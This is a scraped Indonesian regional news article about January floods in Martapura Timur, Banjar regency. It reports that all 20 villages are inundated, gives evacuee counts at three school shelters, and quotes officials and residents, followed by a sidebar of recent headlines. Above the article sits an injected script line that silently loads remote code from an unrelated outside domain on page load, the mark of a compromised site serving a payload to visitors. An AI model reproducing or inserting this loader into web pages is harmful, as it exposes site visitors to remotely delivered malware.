(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: HEADLINE

Aktivitas Warga Lumpuh, Level Air Terus Naik di Martapura Timur


KANALKALIMANTAN.COM, MARTAPURA – Banjir di beberapa kecamatan Kabupaten Banjar terus naik, salah satunya di wilayah Kecamatan Martapura Timur.

Kondisi banjir terkini itu disampaikan, Plt Camat Martapura Timur Guslan. “Air naik sudah dari kemarin pukul 01:30 dini hari, sampai saat ini air perlahan naik lagi,” ucap Guslan saat dihubungi Kanalkalimantan.com, Selasa (13/1/2021) pagi.

Dia mengatakan, sebelumnya di Kecamatan Martapura Timur ada 14 desa yang terendam banjir. Namun, kemarin semua desa atau tepatnya 20 desa sudah terendam banjir.

“Total semua desa yang ada di Kecamatan Martapura Timur yakni 20 desa, semuanya terdampak banjir, dengan ketinggian air bervariasi, ada yang selutut orang dewasa, semua warga sudah tidak bisa lagi beraktifitas,” bebernya.

 

Banjir besar yang merendam wilayah Kabupaten Banjar, Selasa (12/1/2020). Foto: dok.kanalkalimantan

Guslan menjelaskan, sebagian warga ada yang memilih mengungsi dan ada juga yang tetap bertahan di rumah masing-masing. Untuk di Kecamatan Marrapura Timur ada tiga posko pengungsian yakni di SDN Pekauman, SDN Mekar, dan SDN Antasan Senor.

“Saat ini jumlah pengungsi yang ada di SDN Pekauman ada 28 KK, sedangkan di SDN Mekar dan Anatasan Senor masing-masing 30 KK,” ucapnya.

“Alhamdulillah, kemarin sudah dapat bantuan dari Baznas dan BPBD, berupa beras 1 ton, mie instan, minyak, sarden, kecap manis dam telur,” lanjutnya.

 

 

Sementara itu, Zulkarnain, warga Pekauman RT 05 RW 03, Kecamatan Martapura Timur, saat dihubungi kanalkalimantan.com mengaku, air saat ini perlahan terus mengalami kenaikan.
“Air naik terus, ketinggian air di dalam rumah di atas mata kaki orang dewasa, sedangkan di luar rumah ketinggian air mencapai lutut orang dewasa,” ucap Nain.

Dia juga mengatakan, sebagian warga ada yang menggungsi di Mushola dan sebagian lainnya masih bertahan di rumah masing masing.

“Banjir tahun ini cukup parah, waktu 2006 cuma sebagian rumah saja yang terendam air. Sedangkan di tahun ini hampir semua rumah yang ada di Pekauman terendam banjir,” akunya. (kanalkalimantan.com/wahyu)

Reporter: Wahyu
Editor: Bie


Al Ghifari

Recent Posts

Kabur saat Diperiksa di Kejari Banjar, Akhirnya Polisi Tangkap Kades P di Tanbu

KANALKALIMANTAN.COM, MARTAPURA - Tersangka kasus dugaan korupsi, Kepala Desa Sungai Alat Kecamatan Astambul, P (45)… Read More

8 jam ago

BPBD Banjarmasin Catat Dua Kebakaran dalam Sehari

KANALKALIMANTAN.COM, BANJARMASIN - Puluhan warga Banjarmasin harus kehilangan tempat tinggal dan mengungsi akibat kebakaran permukiman… Read More

8 jam ago

Jembatan Guntung Manggis – Trikora Sudah Dilintasi, Dishub Kalsel Masih Kaji Rekayasa Lalin

KANALKALIMANTAN.COM, BANJARBARU - Upaya memecah masalah lalu lintas di perempatan Jalan Guntung Manggis - Trikora… Read More

9 jam ago

Diprediksi 3 Juta Lebih Jemaah Ikuti Rutin Malam Senin 5 Rajab di Sekumpul

Polda Kalsel Turunkan 1.200 Personel, Amankan Kabupaten Banjar dan Kota Banjarbaru Read More

9 jam ago

Bawa Sabu 49 Gram, Dua Lelaki Ditangkap di Pemurus Luar

KANALKALIMANTAN.COM, BANJARMASIN - Satuan Reserse Narkoba (Satresnarkoba) Polres Banjarmasin mengungkap kasus peredaran narkotika jenis sabu.… Read More

23 jam ago

Parkir Inap Kawasan Bandara Syamsudin Noor Meningkat saat Libur Nataru

KANALKALIMANTAN.COM, BANJARBARU - Momentum liburan Natal 2024 dan Tahun Baru 2025 menjadi ladang cuan bagi… Read More

1 hari ago

This website uses cookies.